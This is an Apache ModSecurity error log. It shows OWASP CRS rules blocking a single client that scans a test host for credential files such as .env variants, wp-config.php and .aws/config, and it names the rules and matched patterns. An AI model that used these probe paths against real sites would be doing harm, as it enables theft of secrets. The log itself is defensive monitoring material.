[Mon Jul 28 20:45:56.639283 2025] [:error] [pid 1533990] [client 185.177.72.201:35958] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/public/.env&quot;] [unique_id &quot;aIfFZOXeAg5fi4n6U5fNJgAAAAQ&quot;]
[Mon Jul 28 20:45:56.639431 2025] [:error] [pid 1533990] [client 185.177.72.201:35958] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/public/.env&quot;] [unique_id &quot;aIfFZOXeAg5fi4n6U5fNJgAAAAQ&quot;]
[Mon Jul 28 20:45:56.661007 2025] [:error] [pid 1533990] [client 185.177.72.201:35958] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /web/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web/.env&quot;] [unique_id &quot;aIfFZOXeAg5fi4n6U5fNJwAAAAQ&quot;]
[Mon Jul 28 20:45:56.661191 2025] [:error] [pid 1533990] [client 185.177.72.201:35958] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web/.env&quot;] [unique_id &quot;aIfFZOXeAg5fi4n6U5fNJwAAAAQ&quot;]
[Mon Jul 28 20:45:56.661363 2025] [:error] [pid 1533990] [client 185.177.72.201:35958] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web/.env&quot;] [unique_id &quot;aIfFZOXeAg5fi4n6U5fNJwAAAAQ&quot;]
[Mon Jul 28 20:45:56.683072 2025] [:error] [pid 1533990] [client 185.177.72.201:35958] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /server/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/server/.env&quot;] [unique_id &quot;aIfFZOXeAg5fi4n6U5fNKAAAAAQ&quot;]
[Mon Jul 28 20:45:56.683277 2025] [:error] [pid 1533990] [client 185.177.72.201:35958] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/server/.env&quot;] [unique_id &quot;aIfFZOXeAg5fi4n6U5fNKAAAAAQ&quot;]
[Mon Jul 28 20:45:56.683486 2025] [:error] [pid 1533990] [client 185.177.72.201:35958] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/server/.env&quot;] [unique_id &quot;aIfFZOXeAg5fi4n6U5fNKAAAAAQ&quot;]
[Mon Jul 28 20:45:56.705124 2025] [:error] [pid 1533990] [client 185.177.72.201:35958] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /client/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/client/.env&quot;] [unique_id &quot;aIfFZOXeAg5fi4n6U5fNKQAAAAQ&quot;]
[Mon Jul 28 20:45:56.705335 2025] [:error] [pid 1533990] [client 185.177.72.201:35958] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/client/.env&quot;] [unique_id &quot;aIfFZOXeAg5fi4n6U5fNKQAAAAQ&quot;]
[Mon Jul 28 20:45:56.705498 2025] [:error] [pid 1533990] [client 185.177.72.201:35958] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/client/.env&quot;] [unique_id &quot;aIfFZOXeAg5fi4n6U5fNKQAAAAQ&quot;]
[Mon Jul 28 20:45:56.727254 2025] [:error] [pid 1533990] [client 185.177.72.201:35958] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /frontend/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/frontend/.env&quot;] [unique_id &quot;aIfFZOXeAg5fi4n6U5fNKgAAAAQ&quot;]
[Mon Jul 28 20:45:56.727451 2025] [:error] [pid 1533990] [client 185.177.72.201:35958] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/frontend/.env&quot;] [unique_id &quot;aIfFZOXeAg5fi4n6U5fNKgAAAAQ&quot;]
[Mon Jul 28 20:45:56.727609 2025] [:error] [pid 1533990] [client 185.177.72.201:35958] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/frontend/.env&quot;] [unique_id &quot;aIfFZOXeAg5fi4n6U5fNKgAAAAQ&quot;]
[Mon Jul 28 20:45:56.749290 2025] [:error] [pid 1533990] [client 185.177.72.201:35958] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.development&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.development&quot;] [unique_id &quot;aIfFZOXeAg5fi4n6U5fNKwAAAAQ&quot;]
[Mon Jul 28 20:45:56.749474 2025] [:error] [pid 1533990] [client 185.177.72.201:35958] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.development&quot;] [unique_id &quot;aIfFZOXeAg5fi4n6U5fNKwAAAAQ&quot;]
[Mon Jul 28 20:45:56.749624 2025] [:error] [pid 1533990] [client 185.177.72.201:35958] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.development&quot;] [unique_id &quot;aIfFZOXeAg5fi4n6U5fNKwAAAAQ&quot;]
[Mon Jul 28 20:45:56.771238 2025] [:error] [pid 1533990] [client 185.177.72.201:35958] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.staging&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.staging&quot;] [unique_id &quot;aIfFZOXeAg5fi4n6U5fNLAAAAAQ&quot;]
[Mon Jul 28 20:45:56.771425 2025] [:error] [pid 1533990] [client 185.177.72.201:35958] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.staging&quot;] [unique_id &quot;aIfFZOXeAg5fi4n6U5fNLAAAAAQ&quot;]
[Mon Jul 28 20:45:56.771573 2025] [:error] [pid 1533990] [client 185.177.72.201:35958] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.staging&quot;] [unique_id &quot;aIfFZOXeAg5fi4n6U5fNLAAAAAQ&quot;]
[Mon Jul 28 20:45:56.793228 2025] [:error] [pid 1533990] [client 185.177.72.201:35958] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.live&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.live&quot;] [unique_id &quot;aIfFZOXeAg5fi4n6U5fNLQAAAAQ&quot;]
[Mon Jul 28 20:45:56.793431 2025] [:error] [pid 1533990] [client 185.177.72.201:35958] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.live&quot;] [unique_id &quot;aIfFZOXeAg5fi4n6U5fNLQAAAAQ&quot;]
[Mon Jul 28 20:45:56.793583 2025] [:error] [pid 1533990] [client 185.177.72.201:35958] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.live&quot;] [unique_id &quot;aIfFZOXeAg5fi4n6U5fNLQAAAAQ&quot;]
[Mon Jul 28 20:45:57.131829 2025] [:error] [pid 1531600] [client 185.177.72.201:35962] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;wp-config.php&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php&quot;] [unique_id &quot;aIfFZQLZGLzAXRzMJrelPgAAAAg&quot;]
[Mon Jul 28 20:45:57.132067 2025] [:error] [pid 1531600] [client 185.177.72.201:35962] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php&quot;] [unique_id &quot;aIfFZQLZGLzAXRzMJrelPgAAAAg&quot;]
[Mon Jul 28 20:45:57.132234 2025] [:error] [pid 1531600] [client 185.177.72.201:35962] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php&quot;] [unique_id &quot;aIfFZQLZGLzAXRzMJrelPgAAAAg&quot;]
[Mon Jul 28 20:45:57.192843 2025] [:error] [pid 1531600] [client 185.177.72.201:35962] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;.aws/config&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .aws/config found within REQUEST_FILENAME: /.aws/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/config&quot;] [unique_id &quot;aIfFZQLZGLzAXRzMJrelQAAAAAg&quot;]
[Mon Jul 28 20:45:57.193084 2025] [:error] [pid 1531600] [client 185.177.72.201:35962] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/config&quot;] [unique_id &quot;aIfFZQLZGLzAXRzMJrelQAAAAAg&quot;]
[Mon Jul 28 20:45:57.193317 2025] [:error] [pid 1531600] [client 185.177.72.201:35962] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/config&quot;] [unique_id &quot;aIfFZQLZGLzAXRzMJrelQAAAAAg&quot;]
[Mon Jul 28 20:45:57.401397 2025] [:error] [pid 1531600] [client 185.177.72.201:35962] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /private/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/private/.env&quot;] [unique_id &quot;aIfFZQLZGLzAXRzMJrelSgAAAAg&quot;]
[Mon Jul 28 20:45:57.401658 2025] [:error] [pid 1531600] [client 185.177.72.201:35962] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/private/.env&quot;] [unique_id &quot;aIfFZQLZGLzAXRzMJrelSgAAAAg&quot;]
[Mon Jul 28 20:45:57.401826 2025] [:error] [pid 1531600] [client 185.177.72.201:35962] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/private/.env&quot;] [unique_id &quot;aIfFZQLZGLzAXRzMJrelSgAAAAg&quot;]
[Mon Jul 28 20:45:57.421836 2025] [:error] [pid 1531600] [client 185.177.72.201:35962] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /backup/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backup/.env&quot;] [unique_id &quot;aIfFZQLZGLzAXRzMJrelSwAAAAg&quot;]
